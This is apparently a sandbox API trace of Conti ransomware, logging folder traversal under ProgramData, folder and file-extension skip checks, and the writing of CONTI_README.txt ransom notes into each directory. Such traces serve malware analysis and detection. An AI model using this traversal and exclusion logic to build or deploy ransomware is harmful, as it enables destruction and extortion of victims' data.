	[0105.734] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0105.734] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0105.734] FindNextFileW (in: hFindFile=0x17c82b0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52ddf82e, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x52ddf82e, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x52ddf82e, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 0
	[0105.734] GetProcessHeap () returned 0x1720000
	[0105.734] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d3c8 | out: hHeap=0x1720000) returned 1
	[0105.734] FindClose (in: hFindFile=0x17c82b0 | out: hFindFile=0x17c82b0) returned 1
	[0105.734] GetProcessHeap () returned 0x1720000
	[0105.734] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17345e8 | out: hHeap=0x1720000) returned 1
	[0105.734] FindNextFileW (in: hFindFile=0x17c83f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfee8021d, ftLastAccessTime.dwHighDateTime=0x1d336df, ftLastWriteTime.dwLowDateTime=0xfee8021d, ftLastWriteTime.dwHighDateTime=0x1d336df, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName="Provisioning", cAlternateFileName="PROVIS~1")) returned 1
	[0105.734] lstrcmpiW (lpString1="Provisioning", lpString2=".") returned 1
	[0105.734] lstrcmpiW (lpString1="Provisioning", lpString2="..") returned 1
	[0105.734] lstrcmpiW (lpString1="Provisioning", lpString2="tmp") returned -1
	[0105.734] lstrcmpiW (lpString1="Provisioning", lpString2="winnt") returned -1
	[0105.734] lstrcmpiW (lpString1="Provisioning", lpString2="Application Data") returned 1
	[0105.734] lstrcmpiW (lpString1="Provisioning", lpString2="AppData") returned 1
	[0105.734] lstrcmpiW (lpString1="Provisioning", lpString2="temp") returned -1
	[0105.734] lstrcmpiW (lpString1="Provisioning", lpString2="thumb") returned -1
	[0105.734] lstrcmpiW (lpString1="Provisioning", lpString2="$Recycle.Bin") returned 1
	[0105.734] lstrcmpiW (lpString1="Provisioning", lpString2="$RECYCLE.BIN") returned 1
	[0105.734] lstrcmpiW (lpString1="Provisioning", lpString2="System Volume Information") returned -1
	[0105.734] lstrcmpiW (lpString1="Provisioning", lpString2="Program Files") returned 1
	[0105.734] lstrcmpiW (lpString1="Provisioning", lpString2="Program Files (x86)") returned 1
	[0105.734] lstrcmpiW (lpString1="Provisioning", lpString2="Boot") returned 1
	[0105.734] lstrcmpiW (lpString1="Provisioning", lpString2="Windows") returned -1
	[0105.735] lstrlenW (lpString="C:\\ProgramData\\Microsoft") returned 24
	[0105.735] lstrlenW (lpString="Provisioning") returned 12
	[0105.735] GetProcessHeap () returned 0x1720000
	[0105.735] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x4c) returned 0x17beec0
	[0105.735] lstrcpyW (in: lpString1=0x17beec0, lpString2="C:\\ProgramData\\Microsoft" | out: lpString1="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft"
	[0105.735] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\"
	[0105.735] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\", lpString2="Provisioning" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning") returned="C:\\ProgramData\\Microsoft\\Provisioning"
	[0105.735] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning") returned 37
	[0105.735] GetProcessHeap () returned 0x1720000
	[0105.735] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x50) returned 0x17bf1d8
	[0105.735] lstrcpyW (in: lpString1=0x17bf1d8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning") returned="C:\\ProgramData\\Microsoft\\Provisioning"
	[0105.735] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\*") returned="C:\\ProgramData\\Microsoft\\Provisioning\\*"
	[0105.735] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning") returned 37
	[0105.735] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0105.735] GetProcessHeap () returned 0x1720000
	[0105.735] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x6e) returned 0x17406b8
	[0105.735] lstrcpyW (in: lpString1=0x17406b8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning") returned="C:\\ProgramData\\Microsoft\\Provisioning"
	[0105.735] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\"
	[0105.735] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Provisioning\\CONTI_README.txt"
	[0105.735] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0105.737] GetProcessHeap () returned 0x1720000
	[0105.737] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17406b8 | out: hHeap=0x1720000) returned 1
	[0105.737] WriteFile (in: hFile=0x30c, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f3ac, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f3ac*=0xa2, lpOverlapped=0x0) returned 1
	[0105.738] CloseHandle (hObject=0x30c) returned 1
	[0105.738] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\*", lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfee8021d, ftLastAccessTime.dwHighDateTime=0x1d336df, ftLastWriteTime.dwLowDateTime=0x52ddf82e, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c8570
	[0105.738] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0105.738] FindNextFileW (in: hFindFile=0x17c8570, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfee8021d, ftLastAccessTime.dwHighDateTime=0x1d336df, ftLastWriteTime.dwLowDateTime=0x52ddf82e, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0106.109] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0106.109] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0106.109] FindNextFileW (in: hFindFile=0x17c8570, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52ddf82e, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x52ddf82e, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x52ddf82e, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0106.109] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0106.109] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0106.109] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0106.109] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0106.109] FindNextFileW (in: hFindFile=0x17c8570, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60aed0fe, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x60aed0fe, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x60aed0fe, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x70bb, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="countrytable.xml", cAlternateFileName="")) returned 1
	[0106.109] lstrcmpiW (lpString1="countrytable.xml", lpString2=".") returned 1
	[0106.109] lstrcmpiW (lpString1="countrytable.xml", lpString2="..") returned 1
	[0106.109] StrStrIW (lpFirst="countrytable.xml", lpSrch=".CONTI") returned 0x0
	[0106.109] StrStrIW (lpFirst="countrytable.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.109] StrStrIW (lpFirst="countrytable.xml", lpSrch=".exe") returned 0x0
	[0106.109] StrStrIW (lpFirst="countrytable.xml", lpSrch=".dll") returned 0x0
	[0106.109] StrStrIW (lpFirst="countrytable.xml", lpSrch=".lnk") returned 0x0
	[0106.109] StrStrIW (lpFirst="countrytable.xml", lpSrch=".sys") returned 0x0
	[0106.109] StrStrIW (lpFirst="countrytable.xml", lpSrch=".CONTI") returned 0x0
	[0106.109] StrStrIW (lpFirst="countrytable.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.109] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning") returned 37
	[0106.109] lstrlenW (lpString="countrytable.xml") returned 16
	[0106.109] GetProcessHeap () returned 0x1720000
	[0106.109] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x6e) returned 0x17405c8
	[0106.109] lstrcpyW (in: lpString1=0x17405c8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning") returned="C:\\ProgramData\\Microsoft\\Provisioning"
	[0106.109] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\"
	[0106.109] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\", lpString2="countrytable.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\countrytable.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\countrytable.xml"
	[0106.109] FindNextFileW (in: hFindFile=0x17c8570, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}", cAlternateFileName="{18DCF~1")) returned 1
	[0106.110] lstrcmpiW (lpString1="{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}", lpString2=".") returned 1
	[0106.110] lstrcmpiW (lpString1="{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}", lpString2="..") returned 1
	[0106.110] lstrcmpiW (lpString1="{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}", lpString2="tmp") returned -1
	[0106.110] lstrcmpiW (lpString1="{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}", lpString2="winnt") returned -1
	[0106.110] lstrcmpiW (lpString1="{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}", lpString2="Application Data") returned -1
	[0106.110] lstrcmpiW (lpString1="{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}", lpString2="AppData") returned -1
	[0106.110] lstrcmpiW (lpString1="{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}", lpString2="temp") returned -1
	[0106.110] lstrcmpiW (lpString1="{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}", lpString2="thumb") returned -1
	[0106.110] lstrcmpiW (lpString1="{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}", lpString2="$Recycle.Bin") returned 1
	[0106.110] lstrcmpiW (lpString1="{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}", lpString2="$RECYCLE.BIN") returned 1
	[0106.110] lstrcmpiW (lpString1="{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}", lpString2="System Volume Information") returned -1
	[0106.110] lstrcmpiW (lpString1="{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}", lpString2="Program Files") returned -1
	[0106.110] lstrcmpiW (lpString1="{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}", lpString2="Program Files (x86)") returned -1
	[0106.110] lstrcmpiW (lpString1="{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}", lpString2="Boot") returned -1
	[0106.110] lstrcmpiW (lpString1="{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}", lpString2="Windows") returned -1
	[0106.110] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning") returned 37
	[0106.110] lstrlenW (lpString="{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}") returned 38
	[0106.110] GetProcessHeap () returned 0x1720000
	[0106.110] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x9a) returned 0x173f290
	[0106.110] lstrcpyW (in: lpString1=0x173f290, lpString2="C:\\ProgramData\\Microsoft\\Provisioning" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning") returned="C:\\ProgramData\\Microsoft\\Provisioning"
	[0106.110] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\"
	[0106.110] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\", lpString2="{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}"
	[0106.110] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}") returned 76
	[0106.110] GetProcessHeap () returned 0x1720000
	[0106.110] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x9e) returned 0x173f3e0
	[0106.110] lstrcpyW (in: lpString1=0x173f3e0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}"
	[0106.110] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\*") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\*"
	[0106.110] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}") returned 76
	[0106.110] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0106.110] GetProcessHeap () returned 0x1720000
	[0106.110] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xbc) returned 0x17cc318
	[0106.110] lstrcpyW (in: lpString1=0x17cc318, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}"
	[0106.110] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\"
	[0106.110] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\CONTI_README.txt"
	[0106.110] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0106.113] GetProcessHeap () returned 0x1720000
	[0106.113] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17cc318 | out: hHeap=0x1720000) returned 1
	[0106.113] WriteFile (in: hFile=0x374, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f13c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f13c*=0xa2, lpOverlapped=0x0) returned 1
	[0106.114] CloseHandle (hObject=0x374) returned 1
	[0106.117] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\*", lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x5317480f, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c8430
	[0106.118] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0106.118] FindNextFileW (in: hFindFile=0x17c8430, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x5317480f, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0106.118] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0106.118] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0106.118] FindNextFileW (in: hFindFile=0x17c8430, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5317480f, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x5317480f, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x5317480f, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0106.118] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0106.118] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0106.118] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0106.118] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0106.118] FindNextFileW (in: hFindFile=0x17c8430, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ea7c91, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ea7c91, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ea7c91, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x98c, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="customizations.xml", cAlternateFileName="")) returned 1
	[0106.118] lstrcmpiW (lpString1="customizations.xml", lpString2=".") returned 1
	[0106.118] lstrcmpiW (lpString1="customizations.xml", lpString2="..") returned 1
	[0106.118] StrStrIW (lpFirst="customizations.xml", lpSrch=".CONTI") returned 0x0
	[0106.118] StrStrIW (lpFirst="customizations.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.118] StrStrIW (lpFirst="customizations.xml", lpSrch=".exe") returned 0x0
	[0106.118] StrStrIW (lpFirst="customizations.xml", lpSrch=".dll") returned 0x0
	[0106.118] StrStrIW (lpFirst="customizations.xml", lpSrch=".lnk") returned 0x0
	[0106.118] StrStrIW (lpFirst="customizations.xml", lpSrch=".sys") returned 0x0
	[0106.118] StrStrIW (lpFirst="customizations.xml", lpSrch=".CONTI") returned 0x0
	[0106.118] StrStrIW (lpFirst="customizations.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.118] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}") returned 76
	[0106.118] lstrlenW (lpString="customizations.xml") returned 18
	[0106.118] GetProcessHeap () returned 0x1720000
	[0106.118] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc0) returned 0x17cb9b8
	[0106.118] lstrcpyW (in: lpString1=0x17cb9b8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}"
	[0106.118] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\"
	[0106.118] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\", lpString2="customizations.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml"
	[0106.118] FindNextFileW (in: hFindFile=0x17c8430, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e5b7d8, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e5b7d8, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e5b7d8, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1
	[0106.119] lstrcmpiW (lpString1="MasterDatastore.xml", lpString2=".") returned 1
	[0106.119] lstrcmpiW (lpString1="MasterDatastore.xml", lpString2="..") returned 1
	[0106.119] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".CONTI") returned 0x0
	[0106.119] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.119] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".exe") returned 0x0
	[0106.119] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".dll") returned 0x0
	[0106.119] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".lnk") returned 0x0
	[0106.119] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".sys") returned 0x0
	[0106.119] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".CONTI") returned 0x0
	[0106.119] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.119] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}") returned 76
	[0106.119] lstrlenW (lpString="MasterDatastore.xml") returned 19
	[0106.119] GetProcessHeap () returned 0x1720000
	[0106.119] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc2) returned 0x181cfc8
	[0106.119] lstrcpyW (in: lpString1=0x181cfc8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}"
	[0106.119] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\"
	[0106.119] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\", lpString2="MasterDatastore.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\MasterDatastore.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\MasterDatastore.xml"
